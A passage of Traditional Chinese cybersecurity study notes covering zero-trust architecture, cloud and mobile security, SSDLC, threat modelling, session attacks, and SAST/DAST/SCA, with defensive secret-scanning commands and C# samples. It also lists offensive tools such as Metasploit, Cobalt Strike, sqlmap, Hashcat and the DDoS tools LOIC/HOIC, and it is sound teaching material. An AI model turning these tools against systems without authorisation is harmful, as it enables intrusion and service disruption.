PA	Policy Administrator（政策管理器）	接收 PE 的決策，建立或終止通訊路徑（如簽發短期憑證、設定 VPN 通道）。
PDP	Policy Decision Point（政策決策點）	PE + PA 的合稱，代表整個決策側；PDP 負責「決定」，PEP 負責「執行」。
PEP	Policy Enforcement Point（政策執行點）	攔截所有存取請求，向 PA 查詢決策後放行或阻擋。部署於資源前端的閘道。

SDP（Software Defined Perimeter，軟體定義邊界）

SDP 是零信任架構的一種實作方式，核心理念為「先驗證、再連線」（Authenticate before Connect）。

核心元件：

元件	說明
SDP Controller（控制器）	驗證使用者與設備身分，決定可存取的服務清單
Initiating Host（IH，發起端主機）	發起連線的客戶端，須先向 Controller 完成身分驗證
Accepting Host（AH，接受端主機）	提供服務的主機，預設拒絕所有連線，僅接受 Controller 授權的 IH

SDP vs 傳統 VPN：

比較面向	SDP	傳統 VPN
連線邏輯	先驗證身分，再建立連線（服務對外不可見）	先建立加密通道，再驗證身分
存取粒度	個別應用程式層級	網路層級（進入 VPN 即可存取整個子網路）
攻擊面	極小（服務不監聽任何公開埠，稱為「黑雲」）	較大（VPN 閘道須暴露埠號）

• SDP 也稱為「黑雲（Black Cloud）」：未經驗證的使用者看不到任何服務，連 Port Scan 都無法偵測。
• 零信任架構下，SDP 可取代或補充 VPN，提供更細粒度的存取控制。

零信任架構與 FIDO2 整合

零信任架構的「永不信任，持續驗證」原則與 FIDO2 無密碼認證高度契合：

整合面向	實作方式	安全效益
強化身分驗證	以 FIDO2/WebAuthn 取代傳統密碼，每次存取資源都用生物識別 + 硬體金鑰驗證	抗釣魚、無密碼外洩風險、天然 MFA
動態信任評分	結合 FIDO2 認證結果與設備信任狀態、位置資訊，動態調整存取權限	精細化授權決策，降低誤判
無密碼 PAM	特權帳號使用 FIDO2 認證，不再依賴共享密碼或 SSH 金鑰	消除特權帳號密碼管理複雜度
去中心化認證	FIDO2 私鑰存於使用者裝置，不需中央密碼伺服器	減少單點故障，提升韌性

技術架構整合：

使用者裝置（FIDO2 Authenticator）→ PEP（政策執行點）→ PA（政策管理器）→ PE（政策引擎 + FIDO2 驗證結果）

每次資源存取請求時，PEP 要求 FIDO2 認證，認證成功後將結果傳給 PE 作為信任決策的輸入之一。

雲端與行動裝置安全

雲端服務模型對照表

服務模型	全名	供應商管理範圍	客戶管理範圍	典型服務
IaaS	Infrastructure as a Service（基礎設施即服務）	實體機、網路、儲存、虛擬化	OS、中介軟體、執行環境、應用程式、資料	AWS EC2、Azure VM、GCP Compute Engine
PaaS	Platform as a Service（平台即服務）	IaaS 範圍 + OS、中介軟體、執行環境	應用程式、資料	Heroku、Azure App Service、AWS Elastic Beanstalk
FaaS	Function as a Service（函式即服務）	PaaS 範圍 + 執行環境管理、自動擴展	函式程式碼、觸發設定	AWS Lambda、Azure Functions、GCP Cloud Functions
SaaS	Software as a Service（軟體即服務）	PaaS 範圍 + 應用程式	資料（使用者操作層面）	Gmail、Microsoft 365、Salesforce

NIST 雲端運算五大特性

NIST（National Institute of Standards and Technology，美國國家標準暨技術研究院）SP 800-145 定義的雲端運算五大特性：

1. 隨需自助服務（On-demand Self-service）：使用者可自行配置運算資源，無需人工介入。
2. 廣泛的網路存取（Broad Network Access）：可透過標準網路機制從各種裝置存取。
3. 資源共享池（Resource Pooling）：供應商將資源集中，依需求動態分配給多個使用者（多租戶模型）。
4. 快速彈性擴展（Rapid Elasticity）：資源可快速擴展或縮減，對使用者看起來像無限供應。
5. 可量測服務（Measured Service）：自動監控並控制資源使用量，依用量計費（Pay-as-you-go）。

業界場景

• IaaS 業界場景：企業將地端 VM 原封不動搬到雲端（Lift and Shift），自行管理 OS 與應用程式。
• PaaS 業界場景：開發團隊將 .NET 應用部署到 Azure App Service，不需管理底層 OS 與 Runtime 更新。
• SaaS 業界場景：全公司使用 Microsoft 365 處理郵件與文件協作，IT 只管帳號與授權。

雲端服務模型的共享責任（IaaS / PaaS / SaaS / FaaS）

安全層面	IaaS	PaaS	FaaS	SaaS
實體安全	供應商	供應商	供應商	供應商
網路基礎設施	供應商	供應商	供應商	供應商
OS 修補	客戶	供應商	供應商	供應商
Runtime 設定	客戶	客戶	供應商	供應商
應用程式安全	客戶	客戶	客戶	供應商
資料安全	客戶	客戶	客戶	客戶
身分與存取管理	客戶	客戶	客戶	客戶

規律：從 IaaS → SaaS，客戶的管理範圍逐漸縮小，但資料安全與身分管理永遠是客戶的責任。

共享責任模型遞移圖

雲端安全態勢管理與工作負載保護

雲端環境最常見的資安事件來源是設定錯誤（Misconfiguration），而非漏洞利用。工作負載（VM、容器、Serverless）的執行期保護也需要雲端原生工具，傳統 EDR 無法直接套用。以下幾類解決方案各自對應不同防護層次：

解決方案	全名	聚焦問題	典型功能
CSPM	Cloud Security Posture Management（雲端安全態勢管理）	設定有沒有錯？	持續掃描設定錯誤（如公開的 S3 Bucket、未加密的資料庫），確保符合安全基準（CIS Benchmark）
CWPP	Cloud Workload Protection Platform（雲端工作負載保護平台）	工作負載有沒有被攻擊？	保護 VM、容器、Serverless 的執行期安全，提供威脅偵測、漏洞掃描與檔案完整性監控
CIEM	Cloud Infrastructure Entitlement Management（雲端基礎設施權限管理）	誰的權限有沒有過大？	分析 IAM 角色與權限的實際使用狀況，偵測過度授權（Excessive Permissions）與高風險特權帳號
CNAPP	Cloud-Native Application Protection Platform（雲原生應用保護平台）	雲端應用的整體安全	整合 CSPM + CWPP + CIEM，提供從開發到執行期的全面保護（Gartner 定義的整合類別）

雲端安全平台的分工

• CSPM 管「設定層」、CWPP 管「執行期」、CIEM 管「權限層」，三者各自獨立但互補。
• CNAPP 是三者的整合平台，用單一介面統一處理雲端安全的三個維度。

Serverless / FaaS 安全

安全面向	說明
函式權限	每個函式應有獨立的 IAM 角色，僅授予所需的最小權限（不共用一個高權限角色）
相依套件	Serverless 函式同樣有供應鏈風險，需執行 SCA 掃描
冷啟動攻擊	函式重新初始化時若載入未驗證的設定或 Secrets，可能被攻擊者利用
事件注入（Event Injection）	攻擊者透過觸發事件（如惡意 S3 物件名稱、偽造 API Gateway 請求）注入惡意 Payload
執行時間限制	設定合理的逾時與記憶體上限，防止被濫用為加密貨幣挖礦節點
日誌與監控	Serverless 無持久化儲存，日誌需導出至集中式日誌平台

Serverless 安全的特殊性

• 供應商管理 OS 與 Runtime，客戶無法安裝傳統的 Host-based 安全工具（EDR、防毒軟體）。
• 安全重心從「基礎設施防護」轉移至「應用程式碼與設定安全」。
• 攻擊面雖然縮小（無 OS 可攻擊），但函式邏輯漏洞（如 IDOR、注入）依然存在。

Warm Start（暖啟動）容器重用的資料殘留風險

為提升效能，雲端平台（AWS Lambda、Azure Functions 等）在函式執行完畢後不會立即銷毀容器，而是保留（Warm）等待下一次呼叫重複使用，稱為 Warm Start（相對於 Cold Start 重新初始化容器）。

安全疑慮：宣告在 Handler 函式外部（即全域變數範圍）的資料庫連線、暫存物件、快取憑證，其生命週期與容器相同。若未妥善清理，後續不同使用者觸發的事件可能讀取到前一次執行所殘留的機密資訊（如其他用戶的 Session 資料、API Token）。

安全實踐：

• 敏感資料只在 Handler 函式內部宣告（每次呼叫重新初始化）。
• 全域共享的連線物件（如 DB Connection Pool）不應包含使用者特定的認證資訊。
• 每次請求結束後主動清除函式內部快取或 Token。

多租戶（Multi-tenancy）安全風險

雲端「資源共享池」的本質決定多個租戶共用底層硬體，衍生三大風險：

• 旁路攻擊（Side-channel Attack）：共用 CPU 快取或記憶體匯流排時，惡意租戶可透過時序分析推算其他租戶的機密資料（如 VM Escape 逃逸至 Hypervisor、L1TF/Foreshadow 攻擊共享 L1 快取）。
• 跨租戶資料洩漏（Cross-tenant Data Leakage）：儲存未完全隔離時，磁碟區段重新分配後殘留前一租戶的資料（Data Remanence，資料殘留）；或 API 權限設定錯誤導致存取到其他租戶的資源。
• 吵鬧鄰居（Noisy Neighbor）：同一實體主機上的其他租戶大量消耗 CPU、I/O 或網路頻寬，導致你的服務效能下降。雖非惡意攻擊，但影響可用性（Availability）。

CASB（Cloud Access Security Broker，雲端存取安全代理）

CASB 是部署在使用者與雲端服務之間的安全閘道，提供四大支柱功能：

支柱	說明
可見性（Visibility）	發現組織內所有雲端服務使用狀況，包含未經核准的 Shadow IT
合規性（Compliance）	確保雲端使用符合法規（GDPR、HIPAA 等）與內部政策
威脅防護（Threat Protection）	偵測異常行為、惡意軟體上傳、帳號被盜用
資料安全（Data Security）	DLP（Data Loss Prevention）、加密、權限控管，防止敏感資料外洩

部署模式：

模式	說明
Forward Proxy	攔截使用者到雲端的流量，需安裝代理程式或設定 PAC
Reverse Proxy	攔截雲端到使用者的流量，不需客戶端設定
API	透過雲端服務 API 直接掃描，不經過使用者流量路徑

在防禦架構中的定位：

• CASB 作為使用者與雲端服務之間的策略執行點，整合 DLP、存取控制、威脅防護與合規稽核。
• CASB 可偵測 Shadow IT（員工私自使用未經核准的雲端服務），並與 DLP 協同防止雲端資料外洩。

行動裝置安全與 BYOD（Bring Your Own Device，自攜裝置）

行動裝置應用程式沙箱與權限模型

Android：UID/GID 沙箱與權限模型

面向	說明
沙箱基礎	每個 App 在安裝時被指派唯一的 Linux UID（User ID），在獨立的程序與檔案系統命名空間中執行，其他 App 無法存取其私有資料
UID 共享	同一開發者以相同憑證簽署的 App 可宣告 sharedUserId，共享同一 UID 與資料目錄
權限分類	Normal 權限：安裝時自動授予（無需彈窗）；Dangerous 權限：執行期向使用者請求（如位置、相機）；Signature 權限：僅限相同簽章的 App 可使用
強制存取控制（SELinux）	Android 4.4+ 以 SELinux Enforcing 模式強化沙箱，即使取得 UID 也無法突破 SELinux 政策

iOS：透明度、同意與控制（TCC）架構

TCC（Transparency, Consent, and Control） 是 iOS 管理應用程式存取敏感資源的框架。

面向	說明
核心原則	應用程式預設無法存取任何敏感資源（相機、麥克風、位置、通訊錄等），必須明確向使用者請求授權
授權顆粒度	每個敏感資源類別獨立授權，可隨時在「設定 → 隱私權」撤銷
沙箱機制	每個 App 在獨立的沙箱目錄中執行，無法直接存取其他 App 的資料或系統路徑
應用程式簽章	所有上架 App Store 的應用程式必須經過 Apple 的程式碼簽章與審核，未簽章的 App 無法執行（除非透過 TestFlight 或企業憑證）
授權能力（Entitlements）	應用程式在編譯期聲明所需的系統能力（如 Push Notification、iCloud），超出 Entitlements 的 API 呼叫在沙箱層直接被攔截

Android 沙箱 vs iOS TCC 對比

面向	Android UID 沙箱	iOS TCC
沙箱基礎	Linux UID 程序隔離	App 沙箱目錄 + Entitlements
資源存取控制	Runtime Permission：Dangerous 權限執行期請求	TCC 框架：每類資源獨立詢問使用者
程式碼來源驗證	Google Play Protect + 開發者簽章（可側載）	Apple 強制程式碼簽章 + App Store 審核
MAC 強化	SELinux Enforcing 政策	Apple SIP（System Integrity Protection）

控制面向	說明
企業/個人資料隔離	同一裝置上，公司資料與私人資料分開存放與管理
遠端清除（Remote Wipe）	裝置遺失或員工離職時，遠端刪除企業資料
MDM（Mobile Device Management，行動裝置管理）	集中管理裝置政策、安全更新、應用程式白名單
裝置加密	對裝置儲存及傳輸中的資料依業界標準加密
連線安全	避免使用公開 Wi-Fi 傳輸機密資料；不常用的連線功能（藍牙、NFC、GPS）應關閉

BYOD 資料管控重點

• BYOD 核心挑戰：裝置由員工擁有，企業對其控制能力受限，但其上存有企業資料。
• 員工離職，立即撤銷企業資源存取權，並執行遠端清除企業資料。
• 裝置遺失或遭竊，第一步是 遠端清除（Remote Wipe） 企業資料，防止資料外洩。

開發與維運安全

SSDLC 與 DevSecOps 對照表

SSDLC（Secure Software Development Life Cycle，安全軟體開發生命週期）將安全活動嵌入每個開發階段。

開發階段	安全活動	產出
需求	安全需求分析、威脅建模（Threat Modeling）、隱私衝擊評估	安全需求規格、資料分類
設計	安全架構設計、攻擊面分析（Attack Surface Analysis）	安全設計文件
實作	安全編碼標準（Secure Coding Guidelines）、程式碼審查	經審查的程式碼
測試	SAST、DAST、滲透測試、模糊測試（Fuzzing）	弱點報告、修補紀錄
部署	安全設定基準（Security Baseline）、環境強化（Hardening）	部署檢查清單
維運	持續監控、修補管理（Patch Management）、事件應變	監控儀表板、修補紀錄

威脅建模（Threat Modeling）

威脅建模是在設計階段系統化地識別潛在威脅與攻擊路徑，常見方法論：

方法論	全名	核心概念	適用階段
STRIDE	Spoofing（欺騙）、Tampering（竄改）、Repudiation（否認）、Information Disclosure（資訊洩漏）、Denial of Service（阻斷服務）、Elevation of Privilege（權限提升）	以六大威脅類別逐一檢視系統元件，是 Microsoft SDL 的核心方法	設計階段
DREAD	Damage（損害程度）、Reproducibility（可重現性）、Exploitability（可利用性）、Affected Users（受影響使用者數）、Discoverability（可發現性）	對已識別的威脅進行量化風險評分（各項 1-10 分），排定修補優先順序	風險評估
PASTA	Process for Attack Simulation and Threat Analysis（攻擊模擬與威脅分析流程）	七階段流程，從商業目標到攻擊模擬，強調以攻擊者視角驅動風險分析	全生命週期

威脅建模工作流

STRIDE、DREAD 與 PASTA 的分工

• STRIDE 回答「系統可能面臨哪些威脅」；DREAD 回答「哪個威脅最該優先處理」。兩者常搭配使用。
• PASTA 適合需要與商業風險對齊的大型組織，流程較重但覆蓋面最廣。
• Microsoft Threat Modeling Tool 是免費工具，可產出 DFD（Data Flow Diagram，資料流程圖）並自動套用 STRIDE 分析。

STRIDE 六大威脅類別對照

威脅類別	說明	對應 CIA+ 屬性
Spoofing（偽冒）	偽裝成其他使用者或系統	認證（Authentication）
Tampering（竄改）	未經授權修改資料或程式碼	完整性（Integrity）
Repudiation（否認）	否認執行過的操作	不可否認性（Non-repudiation）
Information Disclosure（資訊洩漏）	資訊暴露給未授權的對象	機密性（Confidentiality）
Denial of Service（阻斷服務）	使系統無法提供正常服務	可用性（Availability）
Elevation of Privilege（權限提升）	取得超出授權範圍的權限	授權（Authorization）

安全程式碼審查檢查清單（Secure Code Review Checklist）

檢查類別	重點項目
輸入驗證	所有外部輸入（使用者、API、檔案）是否經過白名單驗證與消毒（Sanitization）
輸出編碼	輸出至 HTML/SQL/OS 命令前是否正確編碼，防止注入攻擊
身分驗證與授權	是否避免硬編碼密碼；是否使用強密碼雜湊（bcrypt/Argon2）；授權檢查是否在伺服器端執行
Session 管理	Session Token 是否具足夠熵值；是否設定適當逾時；登入後是否重新產生 Session ID
加密使用	是否使用已知安全的演算法（AES-256、RSA-2048+）；金鑰是否妥善儲存；是否避免自行實作加密
錯誤處理	錯誤訊息是否避免洩漏內部資訊（堆疊追蹤、SQL 語句）；是否有統一的例外處理機制
日誌記錄	安全事件是否被記錄；日誌是否避免記錄敏感資料（密碼、信用卡號）
第三方套件	是否檢查已知漏洞（CVE）；是否鎖定版本避免供應鏈攻擊

DevOps 與 DevSecOps 的差異

• DevOps 聚焦開發與維運的協作與自動化，目標是加速交付。
• DevSecOps 在 DevOps 的每個階段嵌入安全控制，目標是「安全不是閘門，而是護欄（Security as Guardrails）」。
• 關鍵差異：DevOps 的 Pipeline 可能只有 Build → Test → Deploy；DevSecOps 的 Pipeline 則是 Build → SAST → SCA → Test → DAST → Deploy → Monitor，安全檢測自動化且不阻塞交付流程（除非發現高風險漏洞）。

Web Session 管理安全

HTTP 是無狀態協定，伺服器無法自動識別連續請求是否來自同一使用者。Session 機制解決此問題：使用者通過認證後，伺服器產生一個隨機的 Session ID，之後每次請求只需帶上此 ID，伺服器即可還原使用者狀態。

Session ID 傳遞方式：

方式	說明	安全性
Cookie（推薦）	Set-Cookie: sid=xxxx; HttpOnly; Secure; SameSite=Lax	高（可搭配屬性防止 XSS 讀取與跨站請求偽造）
URL Parameter	?session=xxxx 附在網址中	低（會出現在 Server Log、Referer Header、瀏覽器歷史，容易外洩）
Hidden Form Field	<input type="hidden" value="xxxx">	低（僅限表單提交，不適合現代應用）

Session 狀態儲存位置（Server 端）：

位置	說明	適用場景
記憶體（In-Memory）	最快，但應用重啟後 Session 消失，無法跨節點共享	單節點、開發環境
資料庫	持久化，但每次請求需查詢 DB，效能較差	需持久化的中小型應用
分散式快取（Redis）	速度快且支援多節點共享，可設 TTL 自動過期	現代多節點 Web 應用的主流選擇
Stateless（JWT）	狀態存在 Token 本身，Server 不需儲存；但撤銷困難	API / 微服務架構

常見攻擊與防禦：

攻擊手法	說明	防範措施
Session Hijacking（劫持）	攻擊者竊取使用者的 Session ID（如透過 XSS 或網路竊聽），冒充已認證的使用者	Cookie 設定 HttpOnly（防 XSS 讀取）、Secure（僅 HTTPS 傳輸）、SameSite=Lax/Strict（防 CSRF）。
Session Fixation（固定）	攻擊者預先設定一個已知的 Session ID 給受害者，受害者登入後該 Session 變成已認證狀態，攻擊者以此 ID 存取	登入成功後強制換發新 Session ID（Session Regeneration）。
Session Replay（重送）	攻擊者攔截並重送合法的 Session Token	使用短效 Token、綁定 Client IP / User-Agent、實作 Token Rotation。

Session 管理最佳實踐

• Session ID 必須由密碼學安全的亂數產生器（CSPRNG）產生，長度至少 128 位元。
• 設定合理的 Session 逾時（Idle Timeout 與 Absolute Timeout）。
• 使用者登出時，伺服器端必須銷毀 Session（不能只清 Cookie）。
• Stateless 架構（如 JWT）中，使用短效 Token + Refresh Token 機制取代伺服器端 Session。

SAST / DAST / IAST / SCA 完整比較

項目	SAST	DAST	IAST	SCA
全名	Static Application Security Testing（靜態應用程式安全測試）	Dynamic Application Security Testing（動態應用程式安全測試）	Interactive Application Security Testing（互動式應用程式安全測試）	Software Composition Analysis（軟體組成分析）
分析對象	原始碼 / 編譯後程式碼	執行中的應用程式	執行中的應用程式（內部 Agent）	第三方相依套件
測試階段	開發 / CI	測試 / 預生產	測試（需部署）	開發 / CI
優點	發現早、覆蓋範圍廣（含未執行路徑）	貼近真實攻擊、可發現執行環境問題	結合 SAST 與 DAST 優點，精確定位程式碼行數	自動比對已知漏洞資料庫，可追蹤授權合規；可產出 SBOM，作為供應鏈安全管理的依據
缺點	誤報率較高、無法發現執行期問題	無法定位原始碼位置、覆蓋率受測試案例限制	需修改部署環境、效能影響	無法發現自行撰寫程式碼的漏洞
發現的問題	SQL Injection、XSS、Buffer Overflow 等程式碼缺陷	執行期漏洞、設定錯誤、認證問題	結合 SAST 與 DAST 發現的問題	已知 CVE 漏洞、授權合規風險
需要原始碼	✅ 是	❌ 否	❌ 否（但需部署 Agent）	✅ 是（掃描相依清單）
典型工具	SonarQube、Checkmarx、Roslyn Analyzer	OWASP ZAP、Burp Suite	Contrast Security、Seeker	Snyk、Dependabot、OWASP Dependency-Check

Shift Left、DevSecOps 與 SCA 的定位

• Shift Left Security：將安全測試盡早移至開發週期左側（需求/設計階段），降低修補成本。
• DevSecOps：在 DevOps 的 CI/CD 流程中自動化安全檢測（如在 Pipeline 中整合 SAST/DAST/SCA 掃描），讓安全成為持續交付的一環。
• SCA：掃描第三方相依套件的已知漏洞，並可產出 SBOM（Software Bill of Materials，軟體物料清單），列舉專案所有相依元件與版本，作為合規審計與供應鏈安全管理的依據。

常見資安測試與掃描工具

源碼掃描（SAST）工具

工具	說明
SonarQube	開源，支援 30+ 語言的程式碼品質與安全掃描平台
Checkmarx	商用企業級 SAST 工具，支援多語言與 CI/CD 整合
Fortify（Micro Focus）	商用靜態分析工具，涵蓋廣泛的弱點規則庫
Semgrep	開源規則導向掃描工具，以自訂規則快速比對程式碼模式
CodeQL（GitHub）	GitHub 內建的語意分析引擎，可撰寫查詢語言搜尋弱點
Roslyn Analyzer	.NET 專用的編譯期靜態分析，整合於 Visual Studio 與 CI

動態掃描（DAST）工具

工具	說明
ZAP by Checkmarx	開源 Web 應用安全掃描工具，支援主動掃描與攔截代理
Burp Suite（PortSwigger）	業界標準的 Web 安全測試平台，有社群版與商用版
Acunetix	商用 Web 弱點掃描工具，支援自動化爬網與掃描
Nikto	開源 Web 伺服器掃描工具，檢測已知的伺服器設定問題

滲透測試工具

工具	說明
Metasploit Framework（Rapid7）	開源/商用滲透測試框架，內建大量漏洞利用模組
Nmap	網路掃描與服務探測工具，用於主機發現與端口掃描
Wireshark	開源封包分析工具，擷取與解析網路流量
John the Ripper / Hashcat	密碼破解工具，支援字典攻擊與暴力破解
Aircrack-ng	無線網路安全評估工具套件，用於 Wi-Fi 加密分析
sqlmap	開源 SQL Injection 自動化檢測與利用工具
Cobalt Strike	商用紅隊演練平台，模擬進階持續威脅（APT）攻擊鏈

弱點掃描工具

工具	說明
Nessus（Tenable）	商用弱點掃描工具，涵蓋 OS、網路設備與應用程式
OpenVAS	Greenbone 維護的開源弱點掃描器，現為獨立持續發展的產品與社群生態
Qualys	雲端 SaaS 弱點管理平台，提供持續性掃描與合規報告

壓力測試 / 負載測試工具

工具	說明
Apache JMeter	開源負載測試工具，支援 HTTP、JDBC 等多種協定
Locust	Python 撰寫的開源負載測試框架，以程式碼定義測試情境
k6（Grafana Labs）	開源效能測試工具，以 JavaScript 撰寫測試腳本
LOIC / HOIC	DDoS 攻擊工具（⚠️ 僅限授權環境教學說明，未經授權使用屬違法行為）

模糊測試（Fuzzing）

模糊測試透過自動產生大量隨機、畸形或邊界值的輸入資料，送入目標程式，觀察是否產生崩潰、記憶體洩漏或非預期行為。

類型	說明
Dumb Fuzzing（黑箱模糊）	完全隨機產生輸入，不瞭解目標格式，覆蓋率低但實作簡單
Smart Fuzzing（白箱/灰箱模糊）	依據輸入格式規範（如 Protocol Buffer、JSON Schema）產生結構化的變異輸入，覆蓋率高
Coverage-guided Fuzzing	監控程式碼覆蓋率，優先變異能觸及新路徑的輸入（如 AFL、libFuzzer）

• Fuzzing 擅長發現緩衝區溢位、格式字串漏洞、整數溢位等記憶體安全問題。
• Google OSS-Fuzz 持續對開源專案進行 Fuzzing，已發現超過 10,000 個漏洞。

CI/CD Pipeline 安全

安全面向	說明
Pipeline as Code	將 Pipeline 定義存入版本控制（如 .gitlab-ci.yml、Jenkinsfile），變更需經程式碼審查，防止未授權修改建置流程
Secret Management	CI/CD 中的密碼、API Key 不得寫入程式碼或設定檔，應使用 CI 平台的 Secret 管理功能（如 GitHub Actions Secrets、Azure Key Vault）
Secret Scanning	掃描程式碼庫中意外提交的機密資料（API Key、密碼、私鑰），工具如 gitleaks、truffleHog、GitHub Secret Scanning
Dependency Scanning	自動掃描第三方套件漏洞（即 SCA），整合至 Pipeline 在每次建置時執行
Artifact Signing	對建置產出（Container Image、NuGet Package）進行數位簽章，確保部署的是經過驗證的版本
最小權限原則	CI/CD Service Account 僅授予必要權限；Runner/Agent 應與生產環境隔離

DevSecOps Pipeline 完整流程圖

Git Secret Scanning 指令

# gitleaks：掃描 Git 歷史紀錄中的機密資料
gitleaks detect --source=. --report-format=json --report-path=gitleaks-report.json

# truffleHog：掃描高熵值字串與已知 Secret 模式
trufflehog git file://. --json

# 安裝為 Git pre-commit hook，防止機密資料被提交
# .pre-commit-config.yaml 範例：
# repos:
#   - repo: https://github.com/gitleaks/gitleaks
#     rev: v8.18.0
#     hooks:
#       - id: gitleaks

C# 範例：自訂 Roslyn Analyzer（偵測硬編碼連線字串）

Roslyn Analyzer 是 .NET 的 SAST 工具，可在編譯時期即時偵測安全問題。以下示範偵測硬編碼連線字串的自訂規則：

using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Diagnostics;
using System.Collections.Immutable;

[DiagnosticAnalyzer(LanguageNames.CSharp)]
public class HardcodedConnectionStringAnalyzer : DiagnosticAnalyzer {
    private static readonly DiagnosticDescriptor Rule = new(
        id: "SEC001",
        title: "Hardcoded Connection String Detected",
        messageFormat: "連線字串不應硬編碼於原始碼中，請改用環境變數或 Secret Manager",
        category: "Security",
        defaultSeverity: DiagnosticSeverity.Warning,
        isEnabledByDefault: true
    );

    public override ImmutableArray<DiagnosticDescriptor> SupportedDiagnostics =>
        ImmutableArray.Create(Rule);

    public override void Initialize(AnalysisContext context) {
        context.ConfigureGeneratedCodeAnalysis(GeneratedCodeAnalysisFlags.None);
        context.EnableConcurrentExecution();
        context.RegisterSyntaxNodeAction(AnalyzeNode, SyntaxKind.StringLiteralExpression);
    }

    private static void AnalyzeNode(SyntaxNodeAnalysisContext context) {
        LiteralExpressionSyntax literal = (LiteralExpressionSyntax)context.Node;
        string value = literal.Token.ValueText;

        // 偵測常見的連線字串模式
        if (value.Contains("Server=", StringComparison.OrdinalIgnoreCase)
            || value.Contains("Data Source=", StringComparison.OrdinalIgnoreCase)
            || value.Contains("Password=", StringComparison.OrdinalIgnoreCase)
        ) {
            Diagnostic diagnostic = Diagnostic.Create(Rule, literal.GetLocation());
            context.ReportDiagnostic(diagnostic);
        }
    }
}

C# 範例：Secure Configuration（appsettings 敏感資訊保護）

using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);

// ❌ 錯誤：直接在 appsettings.json 中存放敏感資訊
// "ConnectionStrings": { "Default": "Server=prod;Password=P@ssw0rd" }

// ✅ 正確：使用 User Secrets（開發環境）或環境變數（生產環境）
// 開發環境：dotnet user-secrets set "ConnectionStrings:Default" "Server=..."
// 生產環境：透過環境變數 ConnectionStrings__Default 注入

// 啟用 User Secrets（Development 環境自動載入）
if (builder.Environment.IsDevelopment()) {
    builder.Configuration.AddUserSecrets<Program>();
}

// Azure 環境：整合 Azure Key Vault
// builder.Configuration.AddAzureKeyVault(
//     new Uri($"https://{vaultName}.vault.azure.net/"),
//     new DefaultAzureCredential()
// );

// 以 Options Pattern 綁定設定，避免散落的 GetValue 呼叫
builder.Services.Configure<DatabaseOptions>(
    builder.Configuration.GetSection("Database")
);

WebApplication app = builder.Build();
app.Run();

public class DatabaseOptions {
    public string ConnectionString { get; init; } = "";
    public int CommandTimeout { get; init; } = 30;
}

C# 範例：Health Check Endpoint 安全實作

using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Diagnostics.HealthChecks;
using Microsoft.AspNetCore.Http;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Diagnostics.HealthChecks;
using System.Text.Json;

WebApplicationBuilder builder = WebApplication.CreateBuilder(args);

builder.Services.AddHealthChecks()
    .AddCheck("self", () => HealthCheckResult.Healthy(), tags: ["live"])
    .AddCheck<DatabaseHealthCheck>("database", tags: ["ready"]);

WebApplication app = builder.Build();

// Liveness：確認應用程式本身是否存活（Kubernetes livenessProbe 使用）
app.MapHealthChecks("/healthz/live", new HealthCheckOptions {
    Predicate = check => check.Tags.Contains("live"),
    // 安全：不暴露詳細資訊給外部
    ResponseWriter = async (context, report) => {
        context.Response.ContentType = "application/json";
        await context.Response.WriteAsync(
            JsonSerializer.Serialize(new { status = report.Status.ToString() })
        );
    }
});

// Readiness：確認應用程式及其相依服務是否就緒（Kubernetes readinessProbe 使用）
app.MapHealthChecks("/healthz/ready", new HealthCheckOptions {
    Predicate = check => check.Tags.Contains("ready"),
    ResponseWriter = async (context, report) => {
        context.Response.ContentType = "application/json";
        await context.Response.WriteAsync(
            JsonSerializer.Serialize(new { status = report.Status.ToString() })
        );
    }
});

// 安全措施：Health Check Endpoint 不應暴露於公網
// 方法 1：限制 IP 範圍
// 方法 2：要求認證（但 Kubernetes Probe 通常無法帶 Token）
// 方法 3：將 Health Endpoint 綁定在不同的 Port（Management Port）
// builder.WebHost.UseUrls("http://*:8080", "http://*:9090");
// app.MapHealthChecks("/healthz/live").RequireHost("*:9090");

app.Run();

public class DatabaseHealthCheck : IHealthCheck {
    public async Task<HealthCheckResult> CheckHealthAsync(
        HealthCheckContext context,
        CancellationToken cancellationToken = default
    ) {
        try {
            // 實際檢查資料庫連線
            // await dbContext.Database.CanConnectAsync(cancellationToken);
            return HealthCheckResult.Healthy("Database connection OK");
        } catch (Exception ex) {
            // 安全：不將例外詳情暴露至回應，僅記錄至日誌
            return HealthCheckResult.Unhealthy(
                "Database unavailable",
                exception: ex
            );
        }
    }
}

SBOM（Software Bill of Materials，軟體物料清單）

SBOM 是一份軟體元件清單，記錄應用程式所包含的所有相依套件、版本號與授權資訊，類似製造業的「零件清單」。

標準格式	維護組織	特點
SPDX	Linux Foundation	偏重授權合規，ISO/IEC 5962 國際標準
CycloneDX	OWASP	偏重安全分析，支援漏洞追蹤與服務元件（SaaSBOM）

SBOM 的實務用途

• 用途：
  • 供應鏈安全：快速確認是否使用了受漏洞影響的套件（如 Log4Shell 事件中，有 SBOM 的組織可在數小時內完成影響評估）。
  • 漏洞追蹤：結合 CVE 資料庫，自動比對已知漏洞。
  • 合規稽核：滿足授權合規要求（如 GPL 傳染性授權的識別）。
• 美國 2021 年行政命令（EO 14028）要求聯邦政府供應商提供 SBOM。
• SBOM 應整合至 SSDLC 的建置階段，於 CI/CD Pipeline 中自動產生。

VEX（Vulnerability Exploitability eXchange，漏洞可利用性交換） 是 SBOM 的配套標準，用機器可讀格式聲明某個 CVE 是否實際影響特定產品版本。

VEX 狀態	意義
Not Affected	此 CVE 不影響本產品（如漏洞程式碼路徑從未被呼叫、平台不同）
Affected	確認受影響，應盡速修補
Fixed	已在指定版本修復
Under Investigation	正在評估中，尚無結論

VEX 補足 SBOM 的限制

• VEX 解決的問題：SBOM 只能列出「使用了哪些套件」，無法說明「這個漏洞對我到底有沒有危害」。VEX 補足這個資訊缺口，讓資安團隊可以優先處理真正有影響的漏洞，不必對每個 CVE 一視同仁。
• 發佈主體：產品供應商或開發者，而非 CVE 資料庫。
• 格式：CycloneDX 與 CSAF（Common Security Advisory Framework）都支援 VEX 格式。
• 美國 CISA 建議 SBOM 與 VEX 配合使用，作為軟體供應鏈透明度的完整解決方案。

SBOM 格式比較：CycloneDX vs SPDX

面向	CycloneDX	SPDX
維護組織	OWASP	Linux Foundation
設計目標	安全分析與漏洞追蹤	授權合規與智慧財產管理
